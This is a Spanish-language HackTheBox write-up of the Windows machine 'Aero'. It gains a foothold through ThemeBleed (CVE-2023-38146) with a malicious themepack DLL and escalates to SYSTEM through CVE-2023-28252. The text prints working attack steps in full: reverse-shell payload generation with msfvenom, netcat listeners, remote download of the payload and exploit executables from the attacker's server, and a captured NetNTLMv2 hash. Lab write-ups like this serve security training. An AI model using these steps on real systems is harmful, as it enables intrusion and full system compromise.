Aero – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Aero’ Avatar


Resumen Link to heading

“Aero” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web el cual acepta archivos .theme para Windows. Luego de buscar un poco, encontramos una vulnerabilidad catalogada como CVE-2023-38146, también conocida como ThemeBleed, la cual puede culminar en una ejecución remota de comandos. Usando algunas “pruebas de concepto” (PoC) para esta vulnerabilidad, somos capaces de ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar un documento indicando otra vulnerabilidad para Windows catalogada como CVE-2023-28252, la cual también parece afectar a la máquina víctima. Explotando esta nueva vulnerabilidad, somos capaces de ganar acceso como NT Authority/System, tomando así control total sobre la máquina víctima.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap sobre puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn

Sólo encontramos así un solo puerto abierto: 80 HTTP corriendo Microsoft Internet Information Services (Microsoft IIS).

Aplicamos algunos scripts de reconocimiento sobre este puerto con la flag -sVC:

❯ sudo nmap -sVC -p80 10.10.11.237

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-26 04:59 -03
Nmap scan report for 10.10.11.237
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: Aero Theme Hub
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds

Visitando http://10.10.11.237 en un navegador de internet muestra un sitio web para temas (themes) de Windows 11:

Aero 1

Yendo a la parte inferior de la página web, ésta nos deja subir archivos:

Aero 2

Si intentamos subir un archivo clickeando en Browse, la ventana emergente nos muestra que sólo se admiten 2 tipos de archivos; .theme y .themepack:

Aero 3

Buscando por vulnerabilidades para archivos .theme para Windows nos lleva a una vulnerabilidad conocida como ThemeBleed, o CVE-2023-38146, cuya descripción es:

Información
This security flaw is a significant threat as it permits malicious actors to execute code remotely through specifically crafted Microsoft Office documents. Exploiting this vulnerability grants unauthorized access to the victim’s endpoint, potentially leading to data theft, system compromise, or other malicious activities.

Básicamente, podemos usar archivos .theme para llamar recursos compartidos y así ejecutar un archivo DLL con una función interna llamada VerifyThemeVersion. Si ponemos una función maliciosa dentro de la función VerifyThemeVersion, ésta será ejecutada. Por lo que podemos ejecutar, por ejemplo, comandos a nivel de sistema.

Buscando por pruebas de concepto (PoCs) para esta vulnerabilidad encontramos este repositorio. Para performar el ataque, requerimos de una máquina Windows con Visual Studio instalado para crear un archivo .dll el cual ejecuta el comando a nivel de sistema. Para ello, necesitamos este otro repositorio, el cual crea un archivo malicioso DLL con la función VerifyThemeVersion “envenenada” y nos envía una reverse shell. Para que esto funcione, requerimos cambiar la dirección IP y puertos dados en el archivo main.cpp que vienen por defecto a valores de nuestra IP de máquina de atacante (10.10.16.3 en mi caso) y el puerto en el cual nos pondremos en escucha con netcat (443 en mi caso). Clonamos aquel repositorio en nuestra máquina Windows de atacante y modificamos el payload para nuestro propósito:

Aero 4

Una vez cambiado, “construímos” (“buildeamos”) el proyecto yendo a Compile -> Build Project.

Esto debería de haber generado un archivo themebleedreverseshell.dll en la carpeta Debug/x64/. Pasamos el archivo .dll generado a nuestra máquina de atacantes con Linux. Hecho aquello, usamos el primer repositorio mencionado para realizar el ataque. Lo clonamos y creamos un entorno virtual con Python, instalando en éste todas las librerías requeridas:

❯ git clone https://github.com/Jnnshschl/CVE-2023-38146.git
<SNIP>

❯ python3 -m venv .venv_themebleed

❯ source .venv_themebleed/bin/activate

❯ pip3 install -r CVE-2023-38146/requirements.txt
<SNIP>

También necesitamos pasar el archivo generado themebleedreverseshell.dll al directorio tb, el cual se encuentra dentro del directorio CVE-2023-38146 clonado; y llamar a este archivo .dll como Aero.msstyles_vrf_evil.dll:

❯ cp themebleedreverseshell.dll CVE-2023-38146/tb/Aero.msstyles_vrf_evil.dll

Una vez hecho esto, corremos el script especificando nuestra IP de atacante y puerto en escucha los cuales serán los mismo que hemos definido previamente en el archivo main.cpp (10.10.16.3 y 443 en mi caso, respectivamente):

❯ cd CVE-2023-38146

❯ python3 themebleed.py -r 10.10.16.3 -p 443

2025-02-26 07:16:37,820 INFO> ThemeBleed CVE-2023-38146 PoC [https://github.com/Jnnshschl]
2025-02-26 07:16:37,821 INFO> Credits to -> https://github.com/gabe-k/themebleed, impacket and cabarchive

2025-02-26 07:16:39,472 INFO> Compiled DLL: "./tb/Aero.msstyles_vrf_evil.dll"
2025-02-26 07:16:39,473 INFO> Theme generated: "evil_theme.theme"
2025-02-26 07:16:39,473 INFO> Themepack generated: "evil_theme.themepack"

2025-02-26 07:16:39,473 INFO> Remember to start netcat: rlwrap -cAr nc -lvnp 443
2025-02-26 07:16:39,473 INFO> Starting SMB server: 10.10.16.3:445

2025-02-26 07:16:39,474 INFO> Config file parsed
2025-02-26 07:16:39,474 INFO> Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
2025-02-26 07:16:39,474 INFO> Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
2025-02-26 07:16:39,474 INFO> Config file parsed
2025-02-26 07:16:39,475 INFO> Config file parsed

El script crea dos archivos llamados evil_theme.theme y evil_theme.themepack.

No olvidar empezar un listener con nc en el puerto especificado junto con rlwrap (el cual nos permitirá tener un manejo más cómodo de la reverse shell cuando ésta se entable):

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Teniendo todo listo subimos el archivo evil_theme.themepack (o evil_theme.theme) generado por el script (el cual debería de estar localizado en el mismo directorio donde se encuentra el archivo themebleed.py) a la página web de la máquina víctima. Luego de subir el archivo, obtenemos una petición en nuestro servidor SMB temporal corriendo a través del script themebleed.py:

❯ python3 themebleed.py -r 10.10.16.3 -p 443

<SNIP>
2025-02-26 07:16:39,474 INFO> Config file parsed
2025-02-26 07:16:39,475 INFO> Config file parsed
2025-02-26 07:16:57,963 INFO> Incoming connection (10.10.11.237,64457)
2025-02-26 07:16:58,757 INFO> AUTHENTICATE_MESSAGE (AERO\sam.emerson,AERO)
2025-02-26 07:16:58,757 INFO> User AERO\sam.emerson authenticated successfully
2025-02-26 07:16:58,757 INFO> sam.emerson::AERO:aaaaaaaaaaaaaaaa:746996521803f9f6fdca7ef4c277b652:010100000000000000c94e913788db01c0c902fafde7a8f7000000000100100072006d004700630072006700590077000300100072006d004700630072006700590077000200100063006b0050006c0049006900700065000400100063006b0050006c0049006900700065000700080000c94e913788db010600040002000000080030003000000000000000000000000020000059993f7d2a2e26197b105ba7bec931d8f4e8ddb8ea11fd0bae4d36e7ade417a80a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0033000000000000000000
2025-02-26 07:16:59,005 INFO> Connecting Share(1:tb)
2025-02-26 07:16:59,256 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 1]
2025-02-26 07:17:01,564 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 1]
2025-02-26 07:17:03,805 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 7]
2025-02-26 07:17:04,801 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 5]
2025-02-26 07:17:09,552 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 7]
2025-02-26 07:17:11,523 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 1]
2025-02-26 07:17:24,955 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 7]
2025-02-26 07:17:25,963 WARNING> Stage 3/3: "Aero.msstyles_vrf.dll" [shareAccess: 5]
<SNIP>

y obtenemos una shell como el usuario sam.emerson:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.237] 64458
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami

whoami
aero\sam.emerson

Podemos obtener la flag en el Desktop del usuario sam.emerson.


NT Authority/System - Administrator Link to heading

Revisando archivos en la ruta C:\Users\sam.emerson muestra:

PS C:\Users\sam.emerson> tree /f .

tree /f .
Folder PATH listing
Volume serial number is C009-0DB2
C:\USERS\SAM.EMERSON
+---Contacts
+---Desktop
       user.txt

+---Documents
       CVE-2023-28252_Summary.pdf
       watchdog.ps1

+---Downloads
+---Favorites
      Bing.url

   +---Links
+---Links
       Desktop.lnk
       Downloads.lnk

+---Music
+---OneDrive
+---Pictures
   +---Camera Roll
   +---Saved Pictures
+---Saved Games
+---Searches
       winrt--{S-1-5-21-3555993375-1320373569-1431083245-1001}-.searchconnector-ms

+---Videos

Donde, en la carpeta Documents, podemos ver un archivo PDF con un título relacionado a CVE-2023-28252. Esta vulnerabilidad se describe como “Windows Common Log File System Driver Elevation of Privilege Vulnerability”. El parche para esta vulnerabilidad es KB5025288. Esto último lo podemos hallar fácilmente buscando por la vulnerabilidad e ir a la página web de Microsoft acerca de esta vulnerabilidad e ir a la sección de “Articles” la cual indica los parches que corrigen esta vulnerabilidad.

Aero 5

Buscando por este parche en systeminfo no retorna nada:

PS C:\Users\sam.emerson> systeminfo | select-string 'KB5025288'

Lo cual indica que el parche no está instalado y, por ende, la máquina es potencialmente vulnerable.

También pasamos el archivo PDF desde la máquina víctima a nuestra máquina de atacante. Para ello pasamos su contenido a base64 en una sesión de Powershell:

PS C:\Users\sam.emerson> [convert]::ToBase64String((Get-Content -path "Documents\CVE-2023-28252_Summary.pdf" -Encoding byte))

[convert]::ToBase64String((Get-Content -path "Documents\CVE-2023-28252_Summary.pdf" -Encoding byte))
JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMCBSL0ZpbHRlci9GbGF0ZURlY29kZT4+CnN0cmVhbQp4nKVYzc6sNgzdz<SNIP>

Copiamos el contenido en base64, lo pasamos a nuestra máquina víctima, lo decodeamos y guardamos su contenido en un archivo:

❯ echo 'JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMCBSL0ZpbHRlci9GbGF0ZURlY29kZT4+CnN0cmVhbQp4nKVYzc6sNgzdz<SNIP>' | base64 -d > CVE-2023-28252_Summary.pdf

Leyendo el PDF sólo describe la vulnerabilidad en sí; pero nada más allá de ello:

Aero 6

Buscando por PoCs para esta vulnerabilidad encontramos este repositorio el cual ejecuta cualquier archivo .exe dado como argumento al programa. Como queremos ejecutar un .exe malicioso, es que creamos uno con msffvenom el cual nos enviará una reverse shell a nuestra máquina de atacantes por el puerto 9001 cuando éste sea ejecutado:

❯ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=9001 -f exe -o rev.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe

Donde hemos llamado este archivo ejecutable malicioso como rev.exe.

Luego, clonamos el repositorio mencionado para CVE-2023-28252:

❯ git clone https://github.com/duck-sec/CVE-2023-28252-Compiled-exe.git

Empezamos un servidor HTTP con Python por el puerto 8000 en nuestra máquina de atacantes para exponer los archivos rev.exe y exploit.exe (archivo el cual se encuentra localizado dentro del directorio CVE-2023-28252-Compiled-exe):

❯ ls -la && python3 -m http.server 8000

total 108
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Feb 26 08:06 .
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Feb 26 04:54 ..
drwxrwxr-x 5 gunzf0x gunzf0x  4096 Feb 26 08:06 CVE-2023-28252-Compiled-exe
drwxrwxr-x 4 gunzf0x gunzf0x  4096 Feb 26 07:16 CVE-2023-38146
-rw-rw-r-- 1 gunzf0x gunzf0x  7168 Feb 26 08:01 rev.exe
-rw-rw-r-- 1 gunzf0x gunzf0x 80384 Feb 26 07:05 themebleedreverseshell.dll
drwxrwxr-x 6 gunzf0x gunzf0x  4096 Feb 26 07:03 .venv_themebleed
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En la máquina víctima, usamos wget en la sesión de PowerShell para descargar los archivos rev.exe y exploit.exe:

PS C:\Users\sam.emerson> wget http://10.10.16.3:8000/rev.exe -Outfile C:\Users\sam.emerson\Downloads\rev.exe

PS C:\Users\sam.emerson> wget http://10.10.16.3:8000/CVE-2023-28252-Compiled-exe/exploit.exe -Outfile C:\Users\sam.emerson\Downloads\exploit.exe

Vamos a la ruta donde hemos guardado todos los archivos maliciosos (el que hemos generado con msfvenom y el que abusa de CVE-2023-28252), la cual he decidido que sea C:\Users\sam.emerson\Downloads en mi caso:

PS C:\Users\sam.emerson> cd C:\Users\sam.emerson\Downloads

cd C:\Users\sam.emerson\Downloads

PS C:\Users\sam.emerson\Downloads> ls

ls


    Directory: C:\Users\sam.emerson\Downloads


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/26/2025   3:08 AM         367104 exploit.exe
-a----         2/26/2025   3:02 AM           7168 rev.exe

Empezamos un nuevo listener con netcat en el puerto 9001 (como hemos definido cuando creamos rev.exe con msfvenom) junto con rlwrap:

❯ rlwrap -cAr nc -lvnp 9001

listening on [any] 9001 ...

Y ejecutamos el exploit:

PS C:\Users\sam.emerson\Downloads> .\exploit.exe 1208 1 .\rev.exe

.\exploit.exe 1208 1 .\rev.exe
Executing command: .\rev.exe


ARGUMENTS
[+] TOKEN OFFSET 4b8
[+] FLAG 1
<SNIP>

Obtenemos una shell como nt authority/system:

❯ rlwrap -cAr nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.237] 64462
Microsoft Windows [Version 10.0.22000.1761]
(c) Microsoft Corporation. All rights reserved.

C:\Users\sam.emerson\Downloads>whoami

whoami
nt authority\system

GG. Podemos extraer la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.